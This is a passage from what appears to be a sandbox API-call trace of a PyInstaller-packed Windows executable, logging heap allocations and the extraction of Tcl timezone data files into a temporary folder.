lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.343] htonl (hostlong=0x59200000) returned 0x2059 [0039.343] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2059) returned 0x561090 [0039.343] htonl (hostlong=0x88060000) returned 0x688 [0039.343] htonl (hostlong=0x59200000) returned 0x2059 [0039.343] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5630f8 [0039.343] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5630f8 | out: hHeap=0x530000) returned 1 [0039.343] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.343] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.344] CloseHandle (hObject=0x10c) returned 1 [0039.344] GetLastError () returned 0x0 [0039.344] SetLastError (dwErrCode=0x0) [0039.344] GetLastError () returned 0x0 [0039.344] SetLastError (dwErrCode=0x0) [0039.344] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.344] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.344] GetFileType (hFile=0x10c) returned 0x1 [0039.344] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.344] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.344] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.344] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.344] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.344] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.344] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.344] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.344] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.344] CloseHandle (hObject=0x10c) returned 1 [0039.344] GetLastError () returned 0x0 [0039.344] SetLastError (dwErrCode=0x0) [0039.344] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.344] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.345] GetFileType (hFile=0x10c) returned 0x1 [0039.345] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.345] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.345] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.345] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.345] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.345] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.345] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.345] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.345] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.345] CloseHandle (hObject=0x10c) returned 1 [0039.345] GetLastError () returned 0x0 [0039.345] SetLastError (dwErrCode=0x0) [0039.345] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.345] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.346] GetFileType (hFile=0x10c) returned 0x1 [0039.346] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.346] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.346] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.346] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.346] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.346] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.346] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.346] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.346] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.346] CloseHandle (hObject=0x10c) returned 1 [0039.346] GetLastError () returned 0x0 [0039.346] SetLastError (dwErrCode=0x0) [0039.346] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\North_Dakota") returned 77 [0039.346] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\North_Dakota" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\north_dakota"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.346] GetFileType (hFile=0x10c) returned 0x1 [0039.346] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.346] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.346] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.346] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.346] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.346] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.346] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.346] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.347] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.347] CloseHandle (hObject=0x10c) returned 1 [0039.347] GetLastError () returned 0x0 [0039.347] SetLastError (dwErrCode=0x0) [0039.347] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\North_Dakota\\New_Salem") returned 87 [0039.347] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\North_Dakota\\New_Salem" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\north_dakota\\new_salem"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.347] GetLastError () returned 0x2 [0039.347] SetLastError (dwErrCode=0x2) [0039.347] GetLastError () returned 0x2 [0039.347] SetLastError (dwErrCode=0x2) [0039.347] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\North_Dakota\\New_Salem", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\North_Dakota\\New_Salem", lpFilePart=0x0) returned 0x56 [0039.347] GetLastError () returned 0x2 [0039.347] SetLastError (dwErrCode=0x2) [0039.347] GetLastError () returned 0x2 [0039.347] SetLastError (dwErrCode=0x2) [0039.347] GetLastError () returned 0x2 [0039.347] SetLastError (dwErrCode=0x2) [0039.347] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\North_Dakota\\New_Salem") returned 87 [0039.347] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.347] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\North_Dakota\\New_Salem" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\north_dakota\\new_salem"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.347] GetFileType (hFile=0x10c) returned 0x1 [0039.347] htonl (hostlong=0x59200000) returned 0x2059 [0039.348] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0039.349] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.349] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x59, lpOverlapped=0x0) returned 1 [0039.349] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.349] CloseHandle (hObject=0x10c) returned 1 [0039.350] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.350] htonl (hostlong=0x40000000) returned 0x40 [0039.350] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.350] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.350] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.350] GetFileType (hFile=0x10c) returned 0x1 [0039.350] htonl (hostlong=0x81f95900) returned 0x59f981 [0039.350] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ea981, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.350] htonl (hostlong=0x40050000) returned 0x540 [0039.350] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x540) returned 0x550600 [0039.350] htonl (hostlong=0x40050000) returned 0x540 [0039.350] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.350] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.350] htonl (hostlong=0xdd190000) returned 0x19dd [0039.350] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x19dd) returned 0x561090 [0039.350] htonl (hostlong=0x40050000) returned 0x540 [0039.350] htonl (hostlong=0xdd190000) returned 0x19dd [0039.350] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562a78 [0039.350] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562a78 | out: hHeap=0x530000) returned 1 [0039.350] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.350] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.350] CloseHandle (hObject=0x10c) returned 1 [0039.351] GetLastError () returned 0x0 [0039.351] SetLastError (dwErrCode=0x0) [0039.351] GetLastError () returned 0x0 [0039.351] SetLastError (dwErrCode=0x0) [0039.351] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.351] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.351] GetFileType (hFile=0x10c) returned 0x1 [0039.351] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.351] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.351] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.351] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.351] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.351] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.351] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.351] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.351] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.351] CloseHandle (hObject=0x10c) returned 1 [0039.351] GetLastError () returned 0x0 [0039.351] SetLastError (dwErrCode=0x0) [0039.351] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.351] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.351] GetFileType (hFile=0x10c) returned 0x1 [0039.351] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.351] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.352] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.352] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.352] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.352] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.352] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.352] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.352] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.352] CloseHandle (hObject=0x10c) returned 1 [0039.352] GetLastError () returned 0x0 [0039.352] SetLastError (dwErrCode=0x0) [0039.352] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.352] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.352] GetFileType (hFile=0x10c) returned 0x1 [0039.352] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.352] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.352] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.352] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.352] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.352] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.352] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.352] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.352] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.352] CloseHandle (hObject=0x10c) returned 1 [0039.353] GetLastError () returned 0x0 [0039.353] SetLastError (dwErrCode=0x0) [0039.353] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Ojinaga") returned 72 [0039.353] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Ojinaga" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\ojinaga"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.353] GetLastError () returned 0x2 [0039.353] SetLastError (dwErrCode=0x2) [0039.353] GetLastError () returned 0x2 [0039.353] SetLastError (dwErrCode=0x2) [0039.353] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Ojinaga", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Ojinaga", lpFilePart=0x0) returned 0x47 [0039.353] GetLastError () returned 0x2 [0039.353] SetLastError (dwErrCode=0x2) [0039.353] GetLastError () returned 0x2 [0039.353] SetLastError (dwErrCode=0x2) [0039.353] GetLastError () returned 0x2 [0039.353] SetLastError (dwErrCode=0x2) [0039.353] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Ojinaga") returned 72 [0039.353] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.353] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Ojinaga" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\ojinaga"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.354] GetFileType (hFile=0x10c) returned 0x1 [0039.354] htonl (hostlong=0xdd190000) returned 0x19dd [0039.354] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0039.355] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.355] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x9dd, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x9dd, lpOverlapped=0x0) returned 1 [0039.355] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.355] CloseHandle (hObject=0x10c) returned 1 [0039.356] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.357] htonl (hostlong=0x30000000) returned 0x30 [0039.357] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, 